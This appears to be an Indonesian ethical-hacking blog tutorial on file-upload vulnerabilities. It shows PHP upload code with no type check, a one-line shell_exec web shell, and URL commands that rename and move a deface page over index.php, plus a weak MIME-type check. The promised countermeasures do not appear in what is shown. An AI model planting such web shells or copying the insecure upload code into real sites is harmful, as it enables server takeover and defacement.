Simulasi Hacking | File Upload Form Part – 1

Kali ini kita akan mempelajari bagaimana proses seorang hacker menyerang website melalui upload form yang disediakan suatu website beserta PENANGGULANGANNYA, harap pergunakan ilmu dengan baik dan bijak.

Kasus 1

Alkisah terdapat sebuah website image hosting yang menyediakan jasa dimana seseorang diperbolehkan upload image di website tersebut. Sang developer memang baru belajar fungsi upload dan berhasil mengimplementasikannya tapi ada satu yang ia lupa yaitu KEAMANAN.

Hingga suatu hari dilihatnya halaman utama websitenya sudah berubah! ada apa gerangan?

Ya, website tersebut terkena deface. Mari kita pelajari source code fungsi upload sang admin (index.php) :

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256" /></head><body style="text-align:center;background:#DBEAF9">

<h1>Selamat Datang di website upload suka-suka V.1</h1>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Foto yang ingin diupload : <input name="file" type="file" /><input type="submit" value="Upload" /></form>

<?php
if (!empty($_FILES["file"]))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"];
}
else
{
echo "Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a>";
move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
}
}
?>
<br><br>
<br><br>
Copyright by suka-suka website

Whoopsie! ternyata sang admin tidak verifikasi file jenis apapun, jadi imbasnya pengupload dapat upload file apapun ke server sang admin.

Lalu bagaimana cara hacker men-deface halaman utamanya, Lets Cekidot! 

Pertama kali hacker akan menyiapkan file jahat untuk ekseskusi perintah di dalam web server (sebenarnya banyak cara, ini salah satunya saja).

file-jahat.php

1
2
3
<?php
if(isset($_GET['q'])) echo shell_exec($_GET['q']);
?>

Untuk mendownload semua file yang digunakan pada postingan ini, anda dapat mengunduh di akhir postingan.

Langkah yang dilakukan adalah melakukan upload file-jahat.php diatas dan upload file deface (hacked.php).

Langkah selanjutnya hacker akan memanggil file tersebut dan menambahkan perintahnya. Berikut perintahnya :

images/file-jahat.php?q=ren hacked.php index.php

Perintah diatas adalah perintah untuk melakukan proses rename dari hacked.php ke index.php

langkah selanjutnya adalah melakukan perintah pindah file ke root, karena posisi file index.php (tadinya hacked.php) masih berada di folder image. Ini dia perintahnya :

images/file-jahat.php?q=move index.php ..

Eng ing eng…. dan halaman utama pun sekarang terkena deface.

Kasus 2

Sang admin pun merasa tertantang, dia membeli buku pemrograman PHP, kemudian mulai mengerti sebaiknya setiap upload-an user harus diidentifikasi dahulu type filenya. Mulailah melakukan eksperimen berikut adalah potongan / snippet codingannya :

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
if (!empty($_FILES["file"]))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"];
}
else
{
$mime = $_FILES['file']['type'];
if (strpos($mime,'image') !== false) {
echo "<h2>Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a><h2>".$mime;
move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
} else {
echo "<h2>O ow udah ga bisa upload lagi ya? tobat lu tobat</h2>".$mime;
}
}
}
?>

Lihat di baris ke 10 dan 11, sang admin mulai pintar memberikan kondisi dimana jika type nya bukan image maka ditolak! Dicobalah untuk melakukan upload file php dan hasilnya :

Sang admin pun tidur dengan tenang malam ini. Keesokan paginya sang admin cek websitenya, alangkah terkejutnya ia melihat tampilan websitenya berubah lagi alias di deface lagi! Alamak gimana lagi ini?

Admin pun galau..

Mau tahu kelanjutannya?  

Stay tune and follow us on :

Facebook : https://www.facebook.com/EthicNinja 
Twitter      :  https://twitter.com/ethic_ninja

Comments 2

Leave a Reply

Your email address will not be published.